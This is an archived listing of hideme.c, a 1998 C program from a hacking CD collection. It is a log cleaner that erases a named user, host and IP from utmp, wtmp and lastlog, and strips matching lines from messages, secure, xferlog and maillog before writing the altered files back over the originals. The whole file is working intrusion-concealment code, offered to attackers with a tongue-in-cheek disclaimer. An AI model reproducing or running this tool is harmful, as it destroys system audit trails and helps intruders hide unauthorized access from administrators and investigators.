home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / s0ftpj / hideme.c < prev    next >
Encoding:
C/C++ Source or Header  |  2000-12-17  |  5.0 KB  |  172 lines

  1. /*
  2. HideMe.c    Cleans Utmp, Wtmp, LastLog, Messages, XferLog, Secure,
  3.         MailLog. Please check your brain connection before using
  4.         since it does NO timestamp or CRC checking. Yet. ;)
  5.         Usage: hideme <user> <host> <IP>
  6. P.S.        check all logs dirs and edit this source accordingly.
  7. */
  8.  
  9. /************************************************************************
  10. *            Written by fusys no (C)1998             *
  11. *    Yes. I coded this. No. I didn't leave this in your system.    *
  12. *        Go check your local nasty user or cracker.         *
  13. *        For Informative and Non-Profit Fun only.          *
  14. *    I was not the first. I won't be the last. AMEN to that.        *
  15. * YES. It seems today I don't have anything better to do. Go figure. ;) *
  16. ************************************************************************/
  17.  
  18. #include <fcntl.h>        /* as coder@reptile said:    */
  19. #include <utmp.h>        /* includes, what would we do    */
  20. #include <sys/types.h>        /*     without them ?!        */
  21. #include <unistd.h>
  22. #include <lastlog.h>
  23. #include <stdio.h>
  24. #include <pwd.h>
  25.  
  26. #define UTMP        "/var/run/utmp"        /* Understand ?!    */
  27. #define WTMP        "/var/log/wtmp"        /* If not, RTFM    ...    */
  28. #define LASTLOG        "/var/log/lastlog"    /* Still in the myst ?    */
  29. #define MESSAGES    "/var/log/messages"    /* Please RTFMA ...    */
  30. #define SECURE        "/var/log/secure"    /* What now ?!!?    */
  31. #define XFERLOG        "/var/log/xferlog"    /* Ok I got it for ya:    */    
  32. #define MAILLOG        "/var/log/maillog"    /* Consider using W95 !    */
  33. #define MAXBUFF        8*1024
  34.  
  35. int main (int argc, char *argv[])
  36. {
  37.     struct utmp ut ;        /*   (C)1998 PNN    */
  38.     struct lastlog ll ;        /*  Pretty New Names    */
  39.     struct passwd *pass ;    
  40.     int i, size, fin, fout ;
  41.     FILE *lin ;
  42.     FILE *lout ;
  43.     char *varlogs[] = {MESSAGES, SECURE, XFERLOG, MAILLOG} ;
  44.     char *newlogs[] = {"messages.hm", "secure.hm", "xferlog.hm", "maillog.hm"} ;
  45.         char buffer[MAXBUFF] ;
  46.     
  47.     char ninja[10] ;        /* better isn't it ?!    */
  48.     char zaibatsu[100] ;        /* oh ... shut up ! :)    */
  49.     char zaibatsu_ip[17] ;
  50.  
  51.     if (argc!=4) {
  52.         fprintf(stderr, "\nHideMe\n") ;
  53.         fprintf(stderr, "Usage: %s <user> <host> <IP>\n\n", argv[0]) ;
  54.         exit () ;
  55.     }
  56.  
  57.     /***************************
  58.     * OK Let's start with UTMP *
  59.     ***************************/
  60.     size = sizeof(ut) ;
  61.     strcpy (ninja, argv[1]) ;
  62.     fin = open (UTMP, O_RDWR) ;
  63.     if (fin < 0) {
  64.         fprintf(stderr, "\nUh ? utmp target not locked. Getting outta here.\n") ;
  65.         close (fin) ;
  66.         exit () ;
  67.     }
  68.     else {
  69.         while (read (fin, &ut, size) == size) {
  70.             if (!strncmp(ut.ut_user, ninja, strlen(ninja))) {
  71.                 memset(&ut, 0, size) ;
  72.                 lseek(fin, -1*size, SEEK_CUR) ;
  73.                 write (fin, &ut, size) ;
  74.             }
  75.         }
  76.         close (fin) ;
  77.         printf("\nutmp target processed.") ;
  78.     }
  79.  
  80.     /***************************
  81.         * OK Let's go on with WTMP *
  82.         ***************************/
  83.     strcpy (zaibatsu, argv[2]) ;
  84.         strcpy(zaibatsu_ip, argv[3]) ;
  85.     
  86.     fin = open(WTMP, O_RDONLY) ;
  87.     if (fin < 0) {
  88.         fprintf(stderr, "\nUh? wtmp target not locked. Getting outta here.\n") ;
  89.         close (fin) ;
  90.         exit () ;
  91.     }
  92.     fout = open("wtmp.hm", O_WRONLY|O_CREAT) ;
  93.     if (fout < 0) {
  94.         fprintf(stderr, "\nDamn! Problems targeting wtmp. Getting outta here.\n") ;    
  95.         close (fout) ;
  96.         exit () ;
  97.     }
  98.     else {
  99.         while (read (fin, &ut, size) == size) {
  100.             if ( (!strcmp(ut.ut_user, ninja)) || (!strncmp(ut.ut_host, zaibatsu, strlen(zaibatsu))) ) {  
  101.                 /* let it go into oblivion */  ;
  102.             }
  103.             else write (fout, &ut, size) ;
  104.         }
  105.         close (fin) ;
  106.         close (fout) ;
  107.         if ((system("/bin/mv wtmp.hm /var/log/wtmp") < 0) &&
  108.             (system("/bin/mv wtmp.hm /var/log/wtmp") == 127)) {
  109.             fprintf(stderr, "\nAch. Couldn't replace %s .", WTMP) ;
  110.         }
  111.                 system("/bin/chmod 644 /var/log/wtmp") ;
  112.         printf("\nwtmp target processed.") ;
  113.     }
  114.  
  115.     /***************************
  116.         * OK Let's look at LASTLOG *
  117.         ***************************/
  118.     size = sizeof(ll) ;
  119.     fin = open(LASTLOG, O_RDWR) ;
  120.     if (fin < 0) {
  121.         fprintf(stderr, "\nUh? lastlog target not locked. Getting outta here.\n") ;
  122.         close (fin) ;
  123.         exit () ;
  124.     }
  125.     else {
  126.         pass = getpwnam(ninja) ;
  127.         lseek(fin, size*pass->pw_uid, SEEK_SET) ;
  128.         read(fin, &ll, size) ;
  129.         ll.ll_time = 0 ;
  130.         strncpy (ll.ll_line, "      ", 5) ;
  131.         strcpy (ll.ll_host, " ") ;
  132.         lseek(fin, size*pass->pw_uid, SEEK_SET) ;
  133.         write(fin, &ll, size) ;
  134.         close (fin) ;
  135.         printf("\nlastlog target processed.\n") ;
  136.     }
  137.     
  138.     /***************************
  139.         * OK moving to /var ....   *
  140.         ***************************/
  141.     for (i=0;i<4;i++) {
  142.         printf("Processing %s\t", varlogs[i]) ;
  143.         lin = fopen (varlogs[i], "r") ;
  144.         if (lin == 0) {
  145.             fprintf(stderr, "\nHmmm. Couldn't reach var ...\n") ;
  146.             fclose (lin) ;
  147.             break ;
  148.         }
  149.         lout = fopen (newlogs[i], "w") ;
  150.         if (lout == 0) {
  151.             fprintf(stderr, "\nHmmm. Couldn't reach var ...\n") ;
  152.             fclose (lout) ;
  153.             break ;
  154.         }
  155.         else {
  156.             while (fgets(buffer, MAXBUFF, lin) != NULL) {
  157.                 if ((!strstr(buffer, ninja)) && (!strstr(buffer, zaibatsu)) && (!strstr(buffer, zaibatsu_ip))) {
  158.                 fputs(buffer, lout) ;
  159.                 }
  160.                 }
  161.         }
  162.         fclose (lin) ;
  163.         fclose (lout) ;
  164.         printf("        DONE.\n") ;
  165.     }
  166.     system ("mv messages.hm /var/log/messages");
  167.     system ("mv secure.hm /var/log/secure");
  168.     system ("mv xferlog.hm /var/log/xferlog");
  169.     system ("mv maillog.hm /var/log/maillog");
  170.     exit () ;
  171. }
  172.